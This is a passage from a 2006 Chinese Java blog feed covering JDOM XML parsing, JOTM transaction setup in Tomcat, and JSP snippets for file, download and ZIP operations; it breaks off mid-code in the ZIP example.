/>有疑问：如果XML文档的层次稍微复杂一些，如果嵌套多达几十上百层的话（开个玩笑），如果靠这样从根元素一级一级地通过getChild("childname")来访问子元素的话，将会非常痛苦！是的，的确是这样，但是我们有另一个有力的工具XPath，为什么不用呢？这是后话！先卖个关子（手敲累啦，下回吧，呵呵）。<br />        <br />/*<br /> * Created on 2004-8-21<br /> *<br /> * TODO To change the template for this generated file go to<br /> * Window - Preferences - Java - Code Style - Code Templates<br /> */<br />package com.cyberobject.study;</p>
												<p>import org.jdom.Document;<br />import org.jdom.Element;<br />import org.jdom.input.SAXBuilder;<br />import org.jdom.output.Format;<br />import org.jdom.output.XMLOutputter;</p>
												<p>/**<br /> * @author kingwong<br /> *<br /> * TODO To change the template for this generated type comment go to<br /> * Window - Preferences - Java - Code Style - Code Templates<br /> */<br />public class TestJDOM2 {<br /> public static void main(String[] args){<br /> SAXBuilder sb = new SAXBuilder();<br />    try<br />    {        <br />     Document doc = sb.build("myFile.xml");<br />  Element root = doc.getRootElement();<br />  <br />  String str1 = root.getAttributeValue("comment");<br />  System.out.println("Root Element's comment attribute is : " + str1);<br />  String str2 = root.getChild("sex").getAttributeValue("value");<br />  System.out.println("sex Element's value attribute is : " + str2);<br />  String str3 = root.getChildText("name");<br />  System.out.println("name Element's content is :" + str3);<br />  String str4 = root.getChild("contact").getChildText("telephone");<br />  System.out.println("contact Element's telephone subelement content is : " + str4 + "\n");<br />  Element inputElement = root.getChild("contact"); <br />  inputElement.addContent(new Element("email").setAttribute("value","<a href="mailto:wanghua@cyberobject.com">wanghua@cyberobject.com</a>"));<br />  <br />  XMLOutputter xmlOut = new XMLOutputter(Format.getPrettyFormat());<br />     String outStr = xmlOut.outputString(root);<br />     System.out.println(outStr);<br />    }<br />    catch(Exception e)<br />    {<br />        e.printStackTrace();<br />    }<br />}<br />}<br />     </p>
										</div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/84524.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-11-30 12:38 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/11/30/jdomStudy.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在Tomcat中使用JDBC与JTA</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/09/21/jta.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Thu, 21 Sep 2006 06:55:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/09/21/jta.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/71101.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/09/21/jta.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/71101.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/71101.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="0" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<a>
												<span id="BlogViewId">
														<p>因为需要将项目从IBM WebSphere Application Server移植到Tomcat上开发，所以研究了一下在Tomcat中通过JNDI查找和使用JDBC及JTA的方法。</p>
														<p>Tomcat是Servlet容器，但它也提供了一个JNDI InitialContext实现，因此用户可以像在J2EE应用程序服务器中一样在Tomcat中使用JNDI查找JDBC数据源。不过在事务处理方面，Tomcat本身并不支持JTA(Java Transaction API)，所以需要借助其他的方案。<a href="http://jotm.objectweb.org/">JOTM</a>(Java Open Transaction Manager)是ObjectWeb的一个开源JTA实现，它本身也是开源应用程序服务器<a href="http://jonas.objectweb.org/">JOnAS</a>(Java Open Application Server)的一部分，为其提供JTA支持和分布式事务管理。JOTM同样可以为Tomcat提供JTA支持，以下将对相关的配置进行简单说明，使用的相应版本为：<br /><br />Tomcat 5.5.x<br />JOTM 2.0.x<br />Oracle 9i<br /><br /><span style="FONT-WEIGHT: bold">1. 配置Tomcat环境</span></p>
														<p>在$TOMCAT_HOME/conf/context.xml文件中添加以下内容：</p>
														<p>&lt;Resource name="jdbc/framework" auth="Container"<br />type="javax.sql.DataSource" <br />factory="org.objectweb.jndi.DataSourceFactory"<br />username="user" password="pwd"<br />driverClassName="oracle.jdbc.driver.OracleDriver"<br />url="jdbc:oracle:thin:@172.18.136.200:1521:ORADB"<br />maxActive="30" maxIdle="30"/&gt;<br /><br />&lt;Transaction factory="org.objectweb.jotm.UserTransactionFactory"<br />jotm.timeout="60"/&gt;<br /><br /><span style="FONT-WEIGHT: bold">2. 添加所需的JAR文件</span></p>
														<p>
																<a href="http://forge.objectweb.org/projects/jotm/">下载JOTM</a>，将以下文件添加到$TOMCAT_HOME/common/lib/：<br />jotm.jar <br />jotm_jrmp_stubs.jar <br />jotm_iiop_stubs.jar<br />ow_carol.jar <br />jta-spec1_0_1.jar <br />jts1_0.jar <br />objectweb-datasource.jar <br />xapool.jar <br />howl.jar <br />connector-1_5.jar<br />同时，还需要添加相应数据库的JDBC包，例如Oracle的classes12.jar<br /><br /><span style="FONT-WEIGHT: bold">3. 配置JOTM</span></p>
														<p>新建一个carol.properties文件，置于$TOMCAT_HOME/common/classes/，文件内容如下：<br /><br /># JNDI (Protocol Invocation)<br />carol.protocols=jrmp<br /><br /># Local RMI Invocation<br />carol.jvm.rmi.local.call=true<br /><br /># do not use CAROL JNDI wrapper<br />carol.start.jndi=false<br /><br /># do not start a name server<br />carol.start.ns=false<br /><br /># Naming Factory<br />carol.jndi.java.naming.factory.url.pkgs=org.apache.naming<br /><br />这样JOTM将不会使用CAROL JNDI wrapper，从而可以避免类装载错误的发生</p>
														<p style="FONT-WEIGHT: bold">4. 说明</p>
														<p>4.1 JOTM目前的版本在JDK1.5或以上可能无法正常运行，解决的方法有两个：使用JDK1.5重新编译carol库，或者将Tomcat运行在JDK1.4中</p>
														<p>4.2 &lt;Transaction&gt;是Tomcat 5中的新标记，对于不支持此标记的老版本，需要使用以下语句代替事务资源的声明：</p>
														<p>&lt;!-- Resource configuration for UserTransaction<br />use JOTM<br />--&gt;<br />&lt;Resource name="UserTransaction" auth="Container"<br />type="javax.transaction.UserTransaction"<br />factory = "org.objectweb.jotm.UserTransactionFactory"<br />jotm.timeout = "60"/&gt;</p>
														<p>4.3 需要注意的是，使用&lt;Resource&gt;节点声明的资源默认上下文前缀是"java:comp/env"，而使用&lt; Transaction&gt;节点时则是"java:comp"。因此，当使用4.2的方式声明用户事务时，相应的JNDI查找代码也应该改为 UserTransaction ut = (UserTransaction)initCtx.lookup("java:comp<strong>/env</strong>/UserTransaction");<br /><br /><span style="FONT-WEIGHT: bold">5. 测试</span><br />假设数据库中已经做了相应配置，可以使用如下jsp页面进行测试：<br />&lt;!--test.jsp--&gt;<br />&lt;%@page contentType="text/html;charset=GB2312"%&gt;<br />&lt;%@page import="java.sql.*"%&gt;<br />&lt;%@page import="javax.sql.*"%&gt;<br />&lt;%@page import="javax.naming.*"%&gt;<br />&lt;%@page import="javax.transaction.UserTransaction"%&gt;<br />&lt;%<br />ResultSet rs = null;<br />Statement stmt = null;<br />UserTransaction ut = null;<br />Connection conn = null;<br />try {<br />Context initCtx = new InitialContext();<br />Context envCtx = (Context) initCtx.lookup("java:comp/env");<br />DataSource ds = (DataSource) envCtx.lookup("jdbc/framework");<br />ut = (UserTransaction)initCtx.lookup("java:comp/UserTransaction");<br />conn = ds.getConnection();<br /><br />ut.begin();<br />System.out.println("&lt;&lt;&lt; beginning the transaction &gt;&gt;&gt;");<br /><br />stmt = conn.createStatement(<br />// ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE<br />);<br />rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");<br />rs.next();<br />} catch(Exception e) {e.printStackTrace();}<br />%&gt;<br />&lt;html&gt;<br />&lt;body&gt;<br />Original price:<br />&lt;%=rs.getString("price")%&gt;<br />&lt;br&gt;After update:<br />&lt;%<br />PreparedStatement pstmt = conn.prepareStatement("update tm_product set price=? where id=1");<br />pstmt.setInt(1,101);<br />pstmt.executeUpdate();<br />rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");<br />rs.next();<br />%&gt;<br />&lt;%=rs.getString("price")%&gt;<br />&lt;br&gt;After Rollback:<br />&lt;%<br />System.out.println("&lt;&lt;&lt; rolling back the transaction &gt;&gt;&gt;");<br />ut.rollback();//Or ut.commit();<br />rs = stmt.executeQuery("SELECT PRICE FROM TM_PRODUCT WHERE ID=1");<br />rs.next();<br />%&gt;<br />&lt;%=rs.getString("price")%&gt;<br />&lt;%conn.close();%&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</p>
														<p>
																<span style="FONT-WEIGHT: bold">6. 参考</span>
																<br />
																<a href="http://jotm.objectweb.org/current/jotm/doc/howto-tomcat-jotm.html">How to use JDBC and transactions in Tomcat with JOTM<br /></a>
																<a href="http://static.raibledesigns.com/downloads/howto-tomcat-jotm.html">How to use JDBC and transactions in Tomcat with JOTM(For Tomcat 5.5.x)</a>
																<br />
																<a href="http://www.nabble.com/forum/ViewTopic.jtp?topic=1073172&amp;tview=dump#a2793244">UserTransaction, JOTM and Tomcat 5.5.x</a>
														</p>
												</span>
										</a>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/zhanglijun33/aggbug/71101.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/zhanglijun33/" target="_blank">智者无疆</a> 2006-09-21 14:55 <a href="http://www.blogjava.net/zhanglijun33/archive/2006/09/21/jta.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java中对文件的操作</title><link>http://www.blogjava.net/zhanglijun33/archive/2006/09/04/JAVA_IO_OP.html</link><dc:creator>智者无疆</dc:creator><author>智者无疆</author><pubDate>Mon, 04 Sep 2006 08:08:00 GMT</pubDate><guid>http://www.blogjava.net/zhanglijun33/archive/2006/09/04/JAVA_IO_OP.html</guid><wfw:comment>http://www.blogjava.net/zhanglijun33/comments/67607.html</wfw:comment><comments>http://www.blogjava.net/zhanglijun33/archive/2006/09/04/JAVA_IO_OP.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/zhanglijun33/comments/commentRss/67607.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/zhanglijun33/services/trackbacks/67607.html</trackback:ping><description><![CDATA[
		<div id="topic">
				<span id="ArticleContent1_ArticleContent1_lblContent">
						<span lang="EN-US" style="FONT-SIZE: 10.5pt; FONT-FAMILY: 'Times New Roman'; mso-bidi-font-size: 12.0pt; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA">Java</span>
						<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">中对文件的操作</span>
						<br />
						<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">java中提供了io类库，可以轻松的用java实现对文件的各种操作。下面就来说一下如何用java来实现这些操作。</span>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">   1。新建目录</span>
						</p>
						<p align="left">
								<span>&lt;%@ page contentType="text/html;charset=gb2312"%&gt;<br />&lt;%<br />String filePath="c:/aaa/";<br />filePath=filePath.toString();//中文转换<br />java.io.File myFilePath=new java.io.File(filePath);<br />if(!myFilePath.exists())<br />myFilePath.mkdir();<br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">  2。新建文件</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html;charset=gb2312"%&gt;<br />&lt;%@ page import="java.io.*" %&gt;<br />&lt;%<br />String filePath="c:/哈哈.txt";<br />filePath=filePath.toString();<br />File myFilePath=new File(filePath);<br />if(!myFilePath.exists())<br />myFilePath.createNewFile();<br />FileWriter resultFile=new FileWriter(myFilePath);<br />PrintWriter myFile=new PrintWriter(resultFile);<br />String strContent = "中文测试".toString();<br />myFile.println(strContent);<br />resultFile.close();<br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 3。删除文件</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html;charset=gb2312"%&gt;<br />&lt;%<br />String filePath="c:/支出证明单.xls";<br />filePath=filePath.toString();<br />java.io.File myDelFile=new java.io.File(filePath);<br />myDelFile.delete();<br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 4。文件拷贝</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html; charset=gb2312" %&gt;<br />&lt;%@ page import="java.io.*" %&gt;<br />&lt;%<br />int bytesum=0;<br />int byteread=0; <br /><u><font color="#0000ff"><a href="file://读/">file://读</a></font></u>到流中<br />InputStream inStream=new FileInputStream("c:/aaa.doc");<br />FileOutputStream fs=new FileOutputStream( "d:/aaa.doc");</span>
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">byte[]  buffer =new  byte[1444];<br />int length;<br />while ((byteread=inStream.read(buffer))!=-1)<br /> {<br />   out.println("&lt;DT&gt;&lt;B&gt;"+byteread+"&lt;/B&gt;&lt;/DT&gt;");<br />   bytesum+=byteread;<br />   System.out.println(bytesum);<br />   fs.write(buffer,0,byteread);<br /> } <br />inStream.close(); <br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 5。整个文件夹拷贝</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html;charset=gb2312"%&gt;<br />&lt;%@ page import="java.io.*" %&gt;<br />&lt;%String url1="C:/aaa";<br />  String url2="d:/java/";<br />  (new File(url2)).mkdirs();<br /> File[] file=(new File(url1)).listFiles();<br /> for(int i=0;i&lt;file.length;i++){<br />  if(file[i].isFile()){<br />   file[i].toString();<br />   FileInputStream input=new FileInputStream(file[i]);<br />   FileOutputStream output=new FileOutputStream(url2+"/"+(file[i].getName()).toString());<br />   byte[] b=new byte[1024*5];<br />    int len;<br />    while((len=input.read(b))!=-1){<br />    output.write(b,0,len);<br />    }<br />    output.flush();<br />    output.close();<br />    input.close();<br />  }<br /> }<br />%&gt; </span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 6。文件下载</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html; charset=gb2312" %&gt;<br />&lt;%@ page import="java.io.*" %&gt;<br />&lt;%<br />  String fileName = "zsc104.swf".toString();<br /><a href="file://读/">//读</a>到流中<br />InputStream inStream=new FileInputStream("c:/zsc104.swf");<br /><a href="file://设/">//设</a>置输出的格式 <br />  response.reset(); <br />  response.setContentType("bin");<br />  response.addHeader("Content-Disposition","attachment; filename=\"" + fileName + "\"");<br /><a href="file://循/">//循</a>环取出流中的数据 <br />  byte[] b = new byte[100]; <br />  int len; <br />  while((len=inStream.read(b)) &gt;0) <br />  response.getOutputStream().write(b,0,len);  <br />  inStream.close(); <br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 7。数据库字段中的文件下载</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page contentType="text/html; charset=gb2312" %&gt;<br />&lt;%@ page import="java.sql.*"%&gt;<br />&lt;%@ page import="java.lang.*" %&gt;<br />&lt;%@ page import="java.io.*" %&gt;<br />&lt;%@ page import="com.jspsmart.upload.*" %&gt;<br />&lt;%@ page import="DBstep.iDBManager2000.*"%&gt;<br />&lt;%<br />int bytesum=0;<br />int byteread=0;<br /><a href="file://打/">//打</a>开数据库<br />ResultSet result=null;<br />String Sql=null;<br />PreparedStatement prestmt=null; <br />DBstep.iDBManager2000 DbaObj=new DBstep.iDBManager2000();<br />DbaObj.OpenConnection();<br /><a href="file://取/">//取</a>得数据库中的数据<br />Sql="select  *  from  t_local_zhongzhuan ";<br />result=DbaObj.ExecuteQuery(Sql);<br />result.next();</span>
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">
								</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">
										<a href="file://将/">file://将</a>数据库中的数据读到流中 <br />InputStream inStream=result.getBinaryStream("content"); <br />FileOutputStream fs=new FileOutputStream( "c:/dffdsafd.doc");</span>
						</p>
						<p align="left">
								<span>byte[]  buffer =new  byte[1444];<br />int length;<br />while ((byteread=inStream.read(buffer))!=-1)<br />  {<br />     out.println("&lt;DT&gt;&lt;B&gt;"+byteread+"&lt;/B&gt;&lt;/DT&gt;");<br />     bytesum+=byteread;<br />     System.out.println(bytesum);<br />     fs.write(buffer,0,byteread);<br />     }<br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 8。把网页保存成文件</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page import="java.text.*"%&gt;<br />&lt;%@ page import="java.util.*"%&gt;<br />&lt;%@ page import="java.io.*"%&gt;<br />&lt;%@ page import="java.net.*"%&gt;<br />&lt;%<br /> URL stdURL = null;<br /> BufferedReader stdIn = null;<br /> PrintWriter stdOut = null;<br /> try {<br />  stdURL = new URL("http://www.163.com");<br /> }<br /> catch (MalformedURLException e) {<br />   throw e;<br /> }</span>
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">
								</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">try {<br />   stdIn = new BufferedReader(new InputStreamReader(stdURL.openStream()));<br />   stdOut = new PrintWriter(new BufferedWriter(new FileWriter("c:/163.html")));<br /> }<br /> catch (IOException e) {<br /> }</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> /***把URL指定的页面以流的形式读出，写成指定的文件***/<br /> try {<br />   String strHtml = "";<br />   while((strHtml = stdIn.readLine())!=null) {<br />   stdOut.println(strHtml);<br />   }<br /> }<br /> catch (IOException e) {<br />   throw e;<br /> }<br /> finally {<br />   try {<br />     if(stdIn != null)<br />       stdIn.close();<br />     if(stdOut != null)<br />       stdOut.close();<br />   }<br />   catch (Exception e) {<br />     System.out.println(e);<br />   }<br /> }<br />%&gt;</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'"> 9。直接下载网上的文件</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">&lt;%@ page import="java.io.*"%&gt;<br />&lt;%@ page import="java.net.*"%&gt;<br />&lt;%<br />int bytesum=0;<br />int byteread=0;</span>
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">
								</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">URL url = new URL("http://pimg.163.com/sms/micheal/logo.gif");<br /> URLConnection conn = url.openConnection();<br /> InputStream inStream = conn.getInputStream();<br /> FileOutputStream fs=new FileOutputStream( "c:/abc.gif");</span>
						</p>
						<p align="left">
								<span style="FONT-SIZE: 10.5pt; FONT-FAMILY: 宋体; mso-bidi-font-size: 12.0pt; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 'Times New Roman'">  byte[]  buffer =new  byte[1444];<br />   int length;<br />    while ((byteread=inStream.read(buffer))!=-1)<br />    {<br />       out.println("&lt;DT&gt;&lt;B&gt;"+byteread+"&lt;/B&gt;&lt;/DT&gt;");<br />       bytesum+=byteread;<br />       System.out.println(bytesum);<br />       fs.write(buffer,0,byteread);<br />     }<br />%&gt;</span>
						</p>
						<p align="left">
								<font face="宋体">  这些是我积累的一些java中对文件的操作，希望对大家有点启发。 </font>
						</p>
				</span>
				<br />java处理压缩文件<span class="time">2006-9-1 0:01:11</span></div>
		<div id="text">
				<div>java处理压缩文件</div>
				<div>import java.io.DataInputStream;<br />import java.io.DataOutputStream;<br />import java.io.File;<br />import java.io.FileInputStream;<br />import java.io.FileOutputStream;<br />import java.util.zip.ZipEntry;<br />import java.util.zip.ZipInputStream;<br />import java.util.zip.ZipOutputStream;</div>
				<div id="text">
						<p>public class zipTest2 {<br /> String fileName1 = ".\\zipfile.zip";<br /> String fileName2 = ".\\zipfile.zip";<br /> File sourceFile = new File(fileName1);<br /> File targetFile = new File(fileName2);</p>
						<p> public void makeZip()<br /> {</p>
						<p>  ZipOutputStream zipos;<br />  try {<br />   if (!targetFile.exists())<br />    targetFile.createNewFile();<br />   zipos = new ZipOutputStream(new FileOutputStream(targetFile));</p>
						<p>   zipos.setMethod(ZipOutputStream.DEFLATED); // 设置压缩方法</p>
						<p>   zipos.putNextEntry(new ZipEntry("file1.txt"));// 创建文件</p>
						<p>   DataOutputStream data_output = new DataOutputStream(zipos);</p>
						<p>   data_output.writeInt(1);</p>
						<p>   zipos.putNextEntry(new ZipEntry("file2.txt"));<br />   data_output.writeUTF("Helloworld");</p>
						<p>   zipos.close();</p>
						<p>   // 生成一个ZIP entry,写入文件输出流中,并将输出流定位于entry起始处。<br />  } catch (Exception e) {<br />   e.printStackTrace();<br />  }<br /> }</p>
						<p> public void unzip()<br /> {<br />  ZipInputStream zipis;<br />  try {<br />   zipis = new ZipInputStream(new FileInputStream(fileName1));</p>
